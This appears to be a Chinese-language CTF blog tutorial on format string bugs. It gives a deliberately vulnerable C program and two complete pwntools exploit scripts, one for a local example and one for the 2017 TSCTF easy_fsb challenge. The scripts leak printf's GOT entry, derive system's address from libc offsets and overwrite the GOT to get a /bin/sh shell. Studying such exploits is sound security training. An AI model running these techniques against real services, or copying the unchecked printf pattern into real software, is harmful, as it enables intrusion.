Fork me on GitHub

Format-String-Bug-Easy-examples

References:


初探

自己写了个最简单fsb的example,以此来入个门

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//gcc -m32 -g test.c -o test -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//__Author__ = 'L1B0'

int main(int argc, char * argv[])
{
char a[1024];
while(1)
{
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
fflush(stdout);
}
return 0;
}

分析

可以看到printf(a)存在明显的fsb,我们知道GOT表是可写的,如果我们能够把printf的got表地址改成system的真实地址,然后调用printf实际上就是调用system,我们再传"/bin/sh"就能够getshell

首先我们要通过任意地址读得到printf的真实地址,利用

printf_addr - printf_offset == system_addr - system_offset

这一特性,获得system的真实地址,其中两个offset都可以通过获取libc版本而得到。

可以看到我们的输入在偏移为4的位置被输出了,%p是以16进制输出地址的值,与%x不同的是%p会加上0x后缀。而%s则会把地址的值作为另一个地址以字符串的形式输出这个地址的内容,相当于比%x多索引一层。

所以我们可以输入printf_got+%4$s,从而得到printf的真实地址。

然后通过任意地址写,利用上面那个等式得到system的真实地址,用pwntools的fmtstr_payload直接生成payload。

(这里由于是本地练习,libc已知,有时还需要leak两三个函数的地址从而知道libc版本)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
context.log_level = 'debug'

io = process('./fsb')
elf = ELF('./fsb')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#leak_printf_addr
print_got = elf.got['printf']
print hex(print_got)
io.sendline( p32(print_got)+'|'+'%4$s' + '|' )
io.recvuntil('|')
print_addr = u32(io.recvuntil('|')[0:4])

#get_system_addr
system_offset = libc.symbols['system']
print_offset = libc.symbols['printf']
#print hex(system_offset),hex(print_offset)

libc_addr = print_addr-print_offset
system_addr = system_offset + libc_addr
print "system_addr = %x" % (system_addr)

#printf->system
payload = fmtstr_payload( 4, {print_got:system_addr} )
io.sendline(payload)

#getshell
io.sendline('/bin/sh\0')
io.interactive()


2017-TSCTF-easy_fsb

和第一个例子差不多,这里需要通过任意地址写exit覆盖为main,达到循环的效果

题目地址,原题应该是提供了libc,这里就用本地的了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
context.log_level = 'debug'

io = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#offset = 7

def leak(leak_got):

payload = p32(leak_got) + '|' + '%7$s' + '|'

io.sendline(payload)
io.recvuntil('|')
leak_addr = u32(io.recvuntil('|')[:4])

return hex(leak_addr)

def loop_it():

exit_got = elf.got['exit']
main_addr = elf.symbols['main']
payload = fmtstr_payload( 7, {exit_got:main_addr} )
io.sendline(payload)

def get_shell():

printf_addr = leak(elf.got['printf'])
print "[printf] = {}".format(printf_addr)

printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']

system_addr = system_offset + eval(printf_addr) - printf_offset

payload = fmtstr_payload( 7, {elf.got['printf']:system_addr} )
io.sendline(payload)

io.sendline('/bin/sh\0')

if __name__ == '__main__':

loop_it()
get_shell()

io.interactive()